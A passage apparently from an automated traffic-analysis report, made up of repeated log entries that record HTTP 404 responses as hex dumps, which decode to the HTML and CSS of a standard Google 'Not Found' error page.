74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:58 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:10:59 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:00 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:04 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:05 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:11:06 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 